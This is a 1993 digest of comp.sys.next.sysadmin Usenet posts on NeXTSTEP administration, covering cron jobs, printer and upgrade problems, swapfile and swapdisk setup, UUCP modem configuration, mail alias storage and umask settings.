tabs (tabs@netcom.com)
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: set user cron job
Date: 1 Jun 1993 03:35:47 -0500
Organization: University of Illinois at Urbana
Message-ID: <1uf4dh$99s@ux1.cso.uiuc.edu>
References: <ntomczak.738869643@vega> <1993May31.201150.1689@oops.se>
kjell@oops.se (Kjell Nilsson) writes:
>> A Ried Thiel (ried@NorthStar.com) writes:
>> >It is possible using NeXT's cron to have the command run as that user.
>>
>> >0 1 * * * root su <username> -c '<program>'
>
>What does this parameter '-c' do. I can't find it under 'man cron or su'??
It means run <program> as <username>. I don't think it was
documented in the 3.0 man page. I'm far away from my 3.1 machine so
I can't check there. It's a nice option.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: tpg@rchland.vnet.ibm.com (Terry Gliedt)
Subject: Re: printer problems after upgrade to 3.0 ...
Sender: news@rchland.ibm.com
Message-ID: <1993Jun01.132358.33537@rchland.ibm.com>
Date: Tue, 01 Jun 1993 13:23:58 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
References: <tabsC7xDtH.I4G@netcom.com>
Organization: IBM Rochester
Keywords: lpd,printer,upgrade,printcap
In article <tabsC7xDtH.I4G@netcom.com>, tabs@netcom.com (Network Account) writes:
|> We have a repeat of the problem that we had months ago, but the
|> earlier solution does not work.
|>
|> We upgraded out last NS2.1 hard disk to 3.0. Everything went
|> smoothly except that the printer does not work anymore.
|> Everytime we try to print we get the message:
|>
|> The application could not connect to the printing daemon
|>
I had precisely this problem too. Finally I paid attention enough when Mr.
Mahoney kept saying that to upgrade to 3.0 you must begin with BuildDisk (or the
equivalent). I also would get kernel panics when reading some CDROMs. After a
careful backup (and verification), I re-installed. When /etc/rc on the CDROM
asked if it should destroy the data on my drive I answered, with trepidation,
"yes" (or was it "y" :-)). In any case, since re-installing by cleaning my boot
disk, everything has worked exactly as expected.
Of course, your mileage may vary.
Newsgroups: comp.sys.next.sysadmin
From: orourke@sophia.smith.edu (Joseph O'Rourke)
Subject: Which cartridge for NeXT 400dpi Laser Printer?
Message-ID: <1993Jun1.133738.14737@sophia.smith.edu>
Organization: Smith College, Northampton, MA, US
Distribution: usa
Date: Tue, 1 Jun 1993 13:37:38 GMT
Now that the catridge supplied with my NeXT printer is nearing
exhaustion, I would like to buy a new one, but am uncertain what
type it is. The catridge itself has no manufacturer's name on
it. Will a Cannon or Hewlett-Packard catridge serve, and if so,
which one? Or must I purchase replacements from NeXT? Thanks for
any info!
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: printer problems after upgrade to 3.0 ...
Message-ID: <C7y6yw.4qD@usenet.ucs.indiana.edu>
Keywords: lpd,printer,upgrade,printcap
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <tabsC7xDtH.I4G@netcom.com> <1993Jun01.132358.33537@rchland.ibm.com>
Date: Tue, 1 Jun 1993 14:59:19 GMT
In article <1993Jun01.132358.33537@rchland.ibm.com> tpg@rchland.vnet.ibm.com (Terry Gliedt) writes:
>In article <tabsC7xDtH.I4G@netcom.com>, tabs@netcom.com (Network Account) writes:
>|> We have a repeat of the problem that we had months ago, but the
>|> earlier solution does not work.
>|>
>|> We upgraded out last NS2.1 hard disk to 3.0. Everything went
>|> smoothly except that the printer does not work anymore.
>|> Everytime we try to print we get the message:
>|>
>|> The application could not connect to the printing daemon
>|>
>
>I had precisely this problem too. Finally I paid attention enough when Mr.
>Mahoney kept saying that to upgrade to 3.0 you must begin with BuildDisk (or the
>equivalent). I also would get kernel panics when reading some CDROMs. After a
>careful backup (and verification), I re-installed. When /etc/rc on the CDROM
>asked if it should destroy the data on my drive I answered, with trepidation,
>"yes" (or was it "y" :-)). In any case, since re-installing by cleaning my boot
>disk, everything has worked exactly as expected.
>
>Of course, your mileage may vary.
Well, you can get around the printer problem by blowing away the
printer's entry in NetInfo and then reboot.
You can fix the CD-ROM problem by copying /usr/filesystems/CDROM.fs
off of the 3.0 CD. A bug in the upgrade didn't do this for you.
-rob
francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin
From: thor@sushi.uib.no
Subject: Multiple swapfiles don't work
Message-ID: <1993Jun1.150558.14338@alf.uib.no>
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
Date: Tue, 1 Jun 93 15:05:58 GMT
Hi.
I've set up multiple swapfiles in my /etc/swaptab, but it doesn't
appear to work - the machine simply fills up the primary one,
and never switches. Here are my settings:
#
# /etc/swaptab
#
/private/vm/swapfile prefer, lowat=16777216, hiwat=33554432
# 16 Meg low water mark, 33 Meg high water mark, preferred swapfile (i.e. use this first)
#
/clients/mnt/vm/swapfile lowat=16777216, nocompress
# Ekstra swap plass
I have a file with correct (I hope) permissions set in
/clients/mnt/vm/swapfile
However, the root fs has been down to 5Meg free, and still no
sign of switching... It has been over 45 MB (way over the hiwat!)
Has anyone gotten this to function successfully? I haven't tried
pushing it over the edge, but am tempted, just to see the machine
crash and _prove_ that there is a bug, but then again it could
be that I haven't set things up correctly... :-)
Regards,
--
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NorNeXT User Group leader | I've ever known..."
University of Bergen | -Jim Morrison, The Doors
NORWAY | edmtl@edb.uib.no
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Which cartridge for NeXT 400dpi Laser Printer?
Date: 1 Jun 1993 09:56:12 -0500
Organization: University of Illinois at Urbana
Distribution: usa
Message-ID: <1ufqmq$r7@ux1.cso.uiuc.edu>
References: <1993Jun1.133738.14737@sophia.smith.edu>
orourke@sophia.smith.edu (Joseph O'Rourke) writes:
>Now that the catridge supplied with my NeXT printer is nearing
>exhaustion, I would like to buy a new one, but am uncertain what
>type it is. The catridge itself has no manufacturer's name on
>it. Will a Cannon or Hewlett-Packard catridge serve, and if so,
>which one? Or must I purchase replacements from NeXT? Thanks for
>any info!
The EP-S cartridge that fits (among other printers) the HP LaserJet
Series II series and the Apple LaserWriter II series is the one you
want. This has got to be the most popular cartridge so far, so
they're fairly inexpensive (note: this does not count the 'personal'
models such as the LaserJet IIp - they take a smaller cartridge)
--
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University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
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From: jdyer@henr.mc.xerox.com (John Dyer)
Message-ID: <9306011700.AA09898@dogleg.henr.mc.Xerox.COM>
Subject: FUN WITH NEXTSTEP3.0, UUCP and SUPRA32BIS/42BIS
Date: Tue, 1 Jun 1993 10:00:55 PDT
id AA09898; Tue, 1 Jun 93 13:00:55 EDT
Well, I almost have it working,
Thanks to many out there who have gotten me this far.
Now when I make a connection and make a successful uucp
login, I lose the connection. The modem does not hang up though,
(it just hangs). Here is the pertinent info from the necessary files. I am
polling only; my machine is not receiving incoming calls (yet).
Many on the net suggest I get Taylor UUCP and avoid NeXT's buggy
version. For those who have done it, what are the time constraints as
well as risks?
/etc/ttys
ttydfb "/usr/etc/getty D38400" vt100 on
/etc/gettytab
h|std.38400|38400-baud:\
:sp#38400:
x|D38400:Fast-Dial-38400:\
:nx=D19200:tc=38400-baud:
/usr/etc/L-devices
DIR cufb 0 38400 hayestone
/usr/etc/L.sys
grace Any DIR 38400 cufb \
"" \d\d\d\r\r \
"" AT \
OK AT&F2 \
OK ATQ0E1S0=1V1 \
OK ATDT1234567 \
"" P_ZERO => uulogin => uupassword
/usr/spool/uucp/SYSLOG
jdyer grace (5/31-21:14) (738897293.68) sent data 1082 bytes 1.70 secs
/usr/spool/uucp/LOGFILE
jdyer grace (5/31-21:14-9244) SUCCEEDED (call to grace )
jdyer grace (5/31-21:14-9244) OK (startup cufb 38400 baud)
jdyer grace (5/31-21:14-9244) REQUEST (S D.fishbonB0122 D.fishbonS0122 jdyer)
jdyer grace (5/31-21:14-9244) REQUEST (S D.fishbonX0120 X.fishbonA0123 jdyer)
jdyer grace (5/31-21:17-9244) BAD READ (expected 'S' got FAIL (2))
jdyer grace (5/31-21:17-9244) FAILED (conversation complete)
As usual, any and all help appreciated.
John Dyer
jdyer@henr.mc.xerox.com
From: gary@ah3.cal.msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: last command puked again!
Date: 1 Jun 1993 17:19:29 GMT
Organization: Michigan State University
Message-ID: <1ug331$k20@msuinfo.cl.msu.edu>
Well, it's the beginning of the month and now when I do a last I just get
garbage. This happenened last month too. Any suggestions?
Last time, I just got the file (/usr/adm/wtmp, i think?) off a different
machine and the first few entries were wrong but then it worked okay.
Thanks!
Gary
--
Gary J LaPointe
gary@ah3.cal.msu.edu
Michigan State University
"There's nothing normal in life
Except for the setting on your washing machine."
From: boyar001@coluber.mc.duke.edu (Bill Boyarsky)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT Mail Addresses storage ?
Keywords: mail
Message-ID: <15623@news.duke.edu>
Date: 1 Jun 93 13:50:56 GMT
Sender: news@news.duke.edu
Does anyone know where NeXT mail stores data to support the Address
functions: Groups, Private Groups, and Private Users ?
Thanks
--
Bill Boyarsky
Duke University
Medical Center Information Systems
boyar001@mc.duke.edu
boyar001@bullnext.mc.duke.edu (NeXT mail)
Newsgroups: comp.sys.next.sysadmin
From: heidelj@alleg.edu (Jason Heideloff)
Subject: Show and Tell
Message-ID: <1993Jun1.185228.14962@alleg.edu>
Sender: news@alleg.edu
Organization: Allegheny College
Date: Tue, 1 Jun 1993 18:52:28 GMT
Can someone out there please let me know if Show and Tell works under 3.0
(consistently)? If not what do people use to do sound and graphical demos
of programs?
Thanks,
Jason Heideloff
heidelj@alleg.edu
Newsgroups: comp.sys.next.sysadmin
From: fxars@camelot.acf-lab.alaska.edu (Al Sparks)
Subject: Re: A NOVICE SEEKS ADVICE...
In-Reply-To: rawyatt@phakt.usc.edu's message of 31 May 1993 04: 44:26 -0700
Message-ID: <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu>
Sender: news@raven.alaska.edu (USENET News System)
Organization: University of Alaska Fairbanks
References: <1ucr2qINN32n@phakt.usc.edu>
Date: Tue, 1 Jun 1993 20:13:12 GMT
rawyatt@phakt.usc.edu (Robert Alexander Wyatt) writes:
> Any advice would be much appreciated!!!
>
> Thanks!
>
> -Rob
>
> Please respond to: rwyatt@ata.com (NeXTmail of course!)
>
Well, in Unix, the thing to put in your .cshrc is umask. My umask is
set at 022, which causes all files created in csh to be owner xwr
only. The thing of it is, I don't know if the .cshrc affects NS. For
that matter, does umask affect NS?
=== Al Sparks
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: NeXT Mail Addresses storage ?
Message-ID: <C7yK9J.6Ko@usenet.ucs.indiana.edu>
Keywords: mail
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <15623@news.duke.edu>
Date: Tue, 1 Jun 1993 19:46:30 GMT
In article <15623@news.duke.edu> boyar001@coluber.mc.duke.edu (Bill Boyarsky) writes:
>
>Does anyone know where NeXT mail stores data to support the Address
>functions: Groups, Private Groups, and Private Users ?
In the worst place possible:
~/.NeXT/.mailalias
-rob
francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin
From: spagiola@frinext.stanford.edu (Stefano Pagiola)
Subject: Summary: Using and internal as swapfile
Message-ID: <1993Jun1.201716.15582@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Tue, 1 Jun 93 20:17:16 GMT
Thanks to all the people who wrote in response to my query on how to
use my internal as a swapdisk. What follows is the most explicit
explanation I received, which worked for me. The others were all
variations on this same theme.
Thanks again to Magnus, Brian, Matt, Charles (Kincaid), David, and
Charles (Lloyd). I tried sending email to all of you, but some of
them bounced.
> Q: How do I turn my old Quantum 105MB (or other) SCSI drive
> into a swap drive?
>
> A: Its pretty easy, but there are a few tricks: The steps are:
>
> Step (0) Clean off the drive.
> Step (1) Change the disk label to "swapdisk"
> Step (2) Edit the file /etc/rc.swap
> Step (3) type "halt" as root, and then reboot
> ------------
> Step (0) Clean off the drive.
> There are several ways to do this.
> (a) If the disk is mounted:
> just use "rm" to remove all the files on disk; e.g.,
> as root, do
> rm /mydisk/*
> if its mounted as /mydisk
> (b) If the disk is not mounted:
> just format it, using the neXT provided formatter
> "sdform". E.g. as root do
> sdform /dev/rsd0a -n
> assuming the raw device name is /dev/rsd0a.
> If you are not sure what the raw device is, before
> formatting do
> /usr/etc/scsimodes /dev/rsd0a
> to show what disk is at this device; if its not the
> desired one, check /dev/rsd[0--9]a til you it.
> Optionally, you can mount the disk---as root do
> /etc/mount -t 4.3 -o rw,noquata /dev/rsdev0a /mydisk
> and then go to step (a) to clear it off.
>
> Step (1) Change the disk label to "swapdisk"
> As root, do
> disk -L swapdisk /dev/rsd0a
> (assuming /dev/rsd0a is the raw device name).
> As long as the disk lable is swapdisk (or anything
> whose first 8 letters are swapdisk), the boot process will
> mount the disk as /private/swapdisk and set it up as your
> preferred swapping device automagically. There will still
> be a swap file created on the boot drive, but it will swap
> from the swapdisk when possible.
> Step (2) Edit the file /etc/rc.swap.
> This is the script that sets up the swapdrive at boot
> time. As is, it limits the size of the swapfile to 30MB.
> You should alter it to reflect the size of your drive.
> As root, copy the original to rc.swap.orig, to have a
> backup. Then, change the mode to writable:
> chmod +w /etc/rc.swap
> and go in and edit the following line:
>
> /usr/etc/mach_swapon -v -o prefer,lowat=16777216,hiwat=31457280
>
> by changing the numbers to something reasonable, e.g.
> lowat=40000000 and hiwat=95000000 for a 105MB Quantum
> drive. If you don't want any limitations, set them to
> zero, lowat=0 and hiwat=0. Save the file, and then do
> chmod -w on it to make it read only again.
>
> Step (3) type "halt" as root, and then reboot.
> The swapdisk will be used appropriately; do
> ls -l /private/swapdisk/vm/swapfile
> if you want to be sure it made your swapfile.
>
> Notes: (1) if you don't edit the rc.swap, you'll get stuck with
> a swapdisk limited to 30MB or so.
> (2) you CANNOT make a swap disk by using the builddisk
> utility usr/etc/builddisk. Even though
> /usr/etc/builddisk -s swapdisk <rawdevice>
> _should_ configure <rawdevice> as a swapdisk, it does
> not, but tells you it does. Actually, it does nothing
> all, because the script /etc/BLD.swapdisk it runs on
> your device is empty (take a look at it!).
> ---------------------------------------------------------------
> Also, you can do the man page on mach_swapon for info on how to
> declare a file a swap file, or make it a preferred swapfile.
You should also eliminate the entry for the internal from /etc/fstab.
--
-
Stefano Pagiola
Food Research Institute, Stanford University
spagiola@frinext.stanford.edu (NeXTMail encouraged)
spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
Newsgroups: comp.sys.next.sysadmin
Subject: formatter program
Message-ID: <1993Jun1.145750.5434@nic.csu.net>
From: vqueved@nssnext.calstatela.edu (Victor Quevedo)
Date: 1 Jun 93 14:57:48 PDT
Keywords: format SCSI
Does any one know the locaiton of the formatter program for SCSI disks.
I have heard that there is a formatting program that will allow for
smaller block sizes.
I think the name is "formatter" with a little f.
Thanks
Victor Quevedo
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From: dkk@cbnewsl.cb.att.com (david.k.kallman)
Subject: Upgrading to 3.1 (How to do?)
Organization: AT&T Bell Laboratories
Date: Tue, 1 Jun 1993 19:25:59 GMT
Message-ID: <C7yJBE.Hq3@cbnewsl.cb.att.com>
Folks,
We have 4 NeXT's at this site: 1 running 3.0, 2 running
2.2, 1 running 2.1. We have licenses for 3.0 for all 4
systems, but installed 3.0 on only one system. We plan to
upgrade all 4 systems to 3.1.
I just called NeXT. They are accepting 3.1 upgrade orders
and (good news) will be shipping in 2 1/2 to 3 weeks.
A question about 3.1: do I need to upgrade the three 2.x
systems to 3.0 first before upgrading to 3.1, or can I
upgrade them directly from 2.x to 3.1 using the one system
upgraded from 3.0 to 3.1. (Note: I'm talking about how
technically to do the upgrade not about the licenses - I
think with purchasing four 3.0->3.1 licenses, we'll be OK
license-wise, since all the systems are licensed for 3.0).
Thanks.
Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748
d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
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From: rngu@mipos2.intel.com (Robert Ngu)
Subject: IP Addresses for FTP sites needed
Message-ID: <C7yqvG.uL@inews.intel.com>
Sender: news@inews.intel.com (USENET News System)
Organization: Intel Corporation, Santa Clara, CA USA
Distribution: usa
Date: Tue, 1 Jun 1993 22:09:16 GMT
Hi,
I would like to get some NextStep shareware programs but I am unable to FTP
using just the site name. So please, if you IP addresses for these sites,
please email them to me. I would very much appreciate it.
1) nova.cc.purdue.edu
2) boombox.micro.umn.edu
3) think.com
Thanks much!!
Bob Ngu
P/S: Are any of these in FAT binaries or compiled to run on Intel platforms?
From: k0s8160@chenext1.tamu.edu (Kenji Seto)
Newsgroups: comp.sys.next.sysadmin
Subject: strage scsi msgs at boot time, solved
Date: 2 Jun 1993 00:23:11 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <1ugrtf$2vv@tamsun.tamu.edu>
I would like to thank all those who replied to my posting,
including:
izumi@pinoko.berkeley.edu (Izumi Ohzawa
Pierce Cantrell <pierce@cantrell.tamu.edu>
mwg@med.pitt.edu (Michael Groff)
Bill Chin <bchin@nextsrv1.andi.org>
Ken Henry <beach!ken@sinkhole.unf.edu>
It was indeed the problem that the jumper on the
drive that controls the "syncronous mode" was still
in tact, and just needed to be removed. Apparently,
at boot time, it was loading the kernel from the
secondary disk, and then switching back to the primary
disk to complete the boot.
If anyone would like more details, please feel free to
e-mail me.
Thanks again,
-Kenji
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From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: Re: Major hint on mailboxes
Message-ID: <1993Jun02.005020.127574@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
References: <1u0ap4$ejd@alamut.cognet.ucla.edu>
Date: Wed, 02 Jun 1993 00:50:20 GMT
In article <1u0ap4$ejd@alamut.cognet.ucla.edu> bill@alamut.cognet.ucla.edu
(William M. Eldridge) writes:
> I meant to post this to sysadmin.
> And I know this is in the user documentation,
> but I never read it all the way through, as
> I'm sure most people don't.
>
> Perhaps most people know this, but if you don't:
>
> I just discovered that Nextmail doesn't delete
> mail you click delete on. You have to then
> hit Command-k, or the compact option under
> Utilities for that to happen.
>
> If you get a lot of mail, you could have a lot
> of "deleted" files still saved that you don't
> realize haven't been erased. I had 5.5 Meg extra,
> my boss had about 20 Meg extra.
Does anyone know of ANY command-line utility that can auto-magically clean
up all of a user's Mailboxes? We use our NeXTs here in a classroom lab
situation (Mathematica) and people keep sending mail back and forth from
and to each other, and they never learn about compacting their mailboxes.
I want something I can put in LogoutHook...
- Kevin Wang
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From: kurt@frsvnsvn.cts.com (Kurt Werle)
Subject: Novell Probs. (NCP errors)
Message-ID: <1993Jun2.011758.11551@frsvnsvn.cts.com>
Keywords: Novell NCP errors
Organization: Little to None
Date: Wed, 2 Jun 1993 01:17:58 GMT
I've been having problems with a NeXT (turbo slab) connected to a
Novell (3.11, Arcnet/10baseT) network.
When using GNU tar, and other 'directory intensive' tasks the server
gives errors:
date: error User (username) has exceeded outstanding NCP directory
search limit.
Or something very close to that. Sometimes the NeXT just does not
receive some of the directory information, and sometimes it hangs
the connection to the Novell Network. The connection eventually
comes back, though I'm not sure what triggers the return...
Anyone have similar problems/advice on this one?
Thanks,
Kurt
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From: kafkouli@serss0 (George Kafkoulis)
Subject: Maxtor MXT-540SL: info wanted
Organization: Florida International University, Miami
Distribution: usa
Date: Wed, 2 Jun 1993 02:32:42 GMT
Message-ID: <C7z32J.F2A@fiu.edu>
Sender: news@fiu.edu (Usenet Administrator)
Hi all.
Does anyone know of any installation or other problems
with the Maxtor MXT 540SL harddrive.
It is supposed to be new 8.5-9ms seek time 6300rpm.
I am planning to connect it to a mono NeXTstation
as an external drive and make it the boot drive?
Is `formatter 1.2' (Feb 92) working with this drive?
Do I gain anything by making the internal 105MB
a swapdisk?
Any comments, information, receipes are welcomed.
If there are any responses, then
I will summarise and post it for the benefit of all
new used-NeXT owners :-)
Thanks in advance.
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From: sanguish@digifix.com (Scott Anguish)
Subject: Re: Major hint on mailboxes
Message-ID: <1993Jun2.041333.5659@digifix.com>
Sender: sanguish@digifix.com (Scott Anguish)
Organization: Digital Fix Development
References: <1993Jun02.005020.127574@zeus.calpoly.edu>
Date: Wed, 2 Jun 1993 04:13:33 GMT
Kevin John Wang writes
> Does anyone know of ANY command-line utility that can auto-magically clean
> up all of a user's Mailboxes? We use our NeXTs here in a classroom lab
> situation (Mathematica) and people keep sending mail back and forth from
> and to each other, and they never learn about compacting their mailboxes.
> I want something I can put in LogoutHook...
>
> - Kevin Wang
Check out Carl Edman's excellent mailapp-utilities that is on
cs.orst.edu and sonata.cc.purdue.edu.
It has a number of utilities, including compactmail, which you can run
from a cron entry.
I also found a cool program in the comp.sources.misc area called
newsclean, that would automatically delete old mail (you specify the time to
"expire")
--
- Scott Anguish -
sanguish@digifix.com (NextMail)
next-announce@digifix.com (comp.sys.next.announce submissions)
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From: gordie@cyclesoft.com (Gordie Freedman)
Subject: Re: NeXT Mail Addresses storage ?
Message-ID: <1993Jun2.063835.5140@netcom.com>
Sender: gordie@netcom.com
Organization: Cyclesoft Media Works
References: <C7yK9J.6Ko@usenet.ucs.indiana.edu>
Date: Wed, 2 Jun 1993 06:38:35 GMT
In article <C7yK9J.6Ko@usenet.ucs.indiana.edu> francisr@stupid.ucs.indiana.edu
(Rob Francis) writes:
> In article <15623@news.duke.edu> boyar001@coluber.mc.duke.edu (Bill Boyarsky)
writes:
> >
> >Does anyone know where NeXT mail stores data to support the Address
> >functions: Groups, Private Groups, and Private Users ?
>
> In the worst place possible:
>
> ~/.NeXT/.mailalias
>
>
> -rob
> francisr@indiana.edu
>
>
>
It looks like ./NeXT/.mailalias only affects private groups. I can't seem to do
anything to get entries in private users. Is this documented somewhere?
"Groups" is only affected by /LocalLibrary/Images/People/aliases as far as I
can tell.
On the subject, does anybody know how to get Mail.app to update while it is
running when you change one of these files?
--
>>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes!
>>> Thou shalt not inline functions more complicated than 20
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From: cmaeda+@cs.cmu.edu (Christopher Maeda)
Subject: Re: /etc/hosts intro comment is bullshit... Lies! Lies! Lies!
Message-ID: <C7zFtD.Jr2.1@cs.cmu.edu>
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
References: <1993May28.180158.389@instep.wimsey.bc.ca> <1993May29.123822.6621@csus.edu>
Date: Wed, 2 Jun 1993 07:08:01 GMT
In article <1993May29.123822.6621@csus.edu> eps@cs.sfsu.edu writes:
>In article <1993May28.180158.389@instep.wimsey.bc.ca>
> brad@instep.wimsey.bc.ca writes:
>
> [major hassles with syslogd and /etc/hosts deleted...]
>
>If you look at /etc/rc, you'll see that syslogd starts up long
>before either NIS or NetInfo are available. So it's pretty
>obvious that any hosts referenced in /etc/syslog.conf need to be
>identified in /etc/hosts.
C'mon. Nothing in /etc/rc can really be called obvious in good
conscience.
>>Quit feeding us bullshit, NeXT! I wish NeXT would appreciate the POWER of
>>UNIX and its collection of very useful tools, and learn to respect that
>>POWER by leaving well enough alone what they do not fully understand.
Yeah right. This is power?
>Anyway, this complaint sounds more like "pilot error" than
>anything else.
Yep. Design it so that you can't help but lose and then blame it on
the user.
--
Chris Maeda, Grad Student and RetroGrouch <cmaeda@cs.cmu.edu>
"A unix signature isn't a return address, it's the ASCII equivalent of
a black velvet clown painting. It's a rectangle of carets surrounding
a quote from a literary giant of weeniedom like Heinlein or Dr. Who."
From: markus@stein.u.washington.edu (Markus Lankeit)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A NOVICE SEEKS ADVICE...
Date: 2 Jun 1993 07:27:29 GMT
Organization: University of Washington
Message-ID: <1uhkp1INNjhe@news.u.washington.edu>
References: <1ucr2qINN32n@phakt.usc.edu> <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu>
fxars@camelot.acf-lab.alaska.edu (Al Sparks) writes:
>Well, in Unix, the thing to put in your .cshrc is umask. My umask is
>set at 022, which causes all files created in csh to be owner xwr
>only. The thing of it is, I don't know if the .cshrc affects NS. For
>that matter, does umask affect NS?
Yup it does. Also, you can change your defaul file creation masks
via the nice GUI-based Preferences app.
In addition, I'd create a "users" group (or whatever you want to call it)
using UserManager and setup everyone's account such that this is their
default GID. Naturally, this will require sync'ing existing files,
but if you've got everything setup in an existing hierachy, like
you say you do, then it's a single chmod -R g+rwx <path>
or you can do something more intelligent that does a +rw on files
and a +rwx on directories...
Hope this helps,
markus
markus@u.washington.edu
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: /etc/hosts intro comment is bullshit... Lies! Lies! Lies!
Date: 2 Jun 1993 04:15:03 -0500
Organization: University of Illinois at Urbana
Message-ID: <1uhr35$19m@ux1.cso.uiuc.edu>
References: <1993May28.180158.389@instep.wimsey.bc.ca> <1993May29.123822.6621@csus.edu> <C7zFtD.Jr2.1@cs.cmu.edu>
cmaeda+@cs.cmu.edu (Christopher Maeda) writes:
>In article <1993May29.123822.6621@csus.edu> eps@cs.sfsu.edu writes:
>> [major hassles with syslogd and /etc/hosts deleted...]
>>
>>If you look at /etc/rc, you'll see that syslogd starts up long
>>before either NIS or NetInfo are available. So it's pretty
>>obvious that any hosts referenced in /etc/syslog.conf need to be
>>identified in /etc/hosts.
>C'mon. Nothing in /etc/rc can really be called obvious in good
>conscience.
I think that someone who is mucking about with /etc/syslog.conf
should be able to look at an /etc/rc and, with all of its comments,
realize what happens in what order. Grandpa Joe who gets a NeXT and
uses it with shrinkwrapped apps probably couldn't figure it out, but
we're talking about some fairly sophisticated UNIX here (sending
syslog messages to another host).
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
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From: mihe@gordon.enea.se (Mike Henry)
Subject: Re: A NOVICE SEEKS ADVICE...
Message-ID: <1993Jun2.082525.16192@enea.se>
Sender: usenet@enea.se
Organization: ENEA DATA AB, Stockholm, Sweden
References: <1ucr2qINN32n@phakt.usc.edu> <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu>
Date: Wed, 2 Jun 1993 08:25:25 GMT
In article <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu> fxars@camelot.acf-lab.alaska.edu (Al Sparks) writes:
>Well, in Unix, the thing to put in your .cshrc is umask. My umask is
>set at 022, which causes all files created in csh to be owner xwr
>only. The thing of it is, I don't know if the .cshrc affects NS. For
>that matter, does umask affect NS?
Under NeXTSTEP you set the file-creation mask with Preferences. Choose
the Expert Preferences Icon (The one with the UNIX "award" on it) and
set the mask anyway you want.
The umask set in a .cshrc file (or similar) will of course only affect
the creation of files done under shell control (i.e. when using
Terminal or Stewart etc).
> === Al Sparks
-Mike
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From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: PANIC: Exception #2 AND #3!!!! HELP NEEDED
Sender: gemoe@proximus.north.de (Gerhard Moeller)
Organization: Gerhard Moeller, German NeXT User Group, Oldenburg.
Date: Wed, 2 Jun 1993 05:55:10 GMT
Message-ID: <1993Jun2.055510.221@proximus.north.de>
Hi,
I am just before a heart-attack.
I have a NeXTstatio, 3.0 loaded, 16MB parity RAM, parity enabled, ROM v65
Today in the morning I got up and the monitor was balck, a panic-panel
on it, saying "memory parity error". I rebooted the system then. The
computer did an fsck. But then...
I got a full page of error codes that I couldn't understand.
I switched of parity mode and rebooted again:
Exception #3 (0xc) at 0x1000340c
This is strange, as <m> shows me that
mem sockets 0-3 have 16MB page mode simms installed (0x4000000-0x4ffe000)
So how come, I can get an error at 0x1000340c?
I turned on parity, removed my nbufs (96) and rebooted:
Exception #2 (0x8) at 0x4380000
This error I kept for a while. At this point I always got this error,
regardless if parity enabled or disabled.
But I never got the full page of numbers again.
After a few tries and turning the computer off for a while, I now
managed to boot again.
BUT WHAT HAPPENED??
Do I have faulty RAM?
What do the exception codes mean? (I did not find them in the doc.)
Is my computer broken?
PLEASE HELP ME,
Thank you VERY much,
Gerhard.
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Newsgroups: comp.sys.next.sysadmin
From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: Multiple swapfiles don't work
In-Reply-To: thor@sushi.uib.no's message of Tue, 1 Jun 93 15:05:58 GMT
Message-ID: <KARTHY.93Jun2095757@dannug.dannug.dk>
Sender: news@dannug.dk (Usenet news owner)
Organization: Dannug - Danish NeXT Users Group
References: <1993Jun1.150558.14338@alf.uib.no>
Date: Wed, 2 Jun 1993 08:57:57 GMT
>>>>> On Tue, 1 Jun 93 15:05:58 GMT, thor@sushi.uib.no said:
thor> I've set up multiple swapfiles in my /etc/swaptab, but it doesn't
thor> appear to work - the machine simply fills up the primary one,
thor> and never switches. Here are my settings:
thor> #
thor> # /etc/swaptab
thor> #
thor> /private/vm/swapfile prefer, lowat=16777216, hiwat=33554432
thor> # 16 Meg low water mark, 33 Meg high water mark, preferred swapfile (i.e. use this first)
thor> #
thor> /clients/mnt/vm/swapfile lowat=16777216, nocompress
thor> # Ekstra swap plass
thor> I have a file with correct (I hope) permissions set in
thor> /clients/mnt/vm/swapfile
thor> However, the root fs has been down to 5Meg free, and still no
thor> sign of switching... It has been over 45 MB (way over the hiwat!)
You are not allowed to have spaces between the options in /etc/swaptab
- I guess that mach_swapon simple will ignore all after "prefer, ".
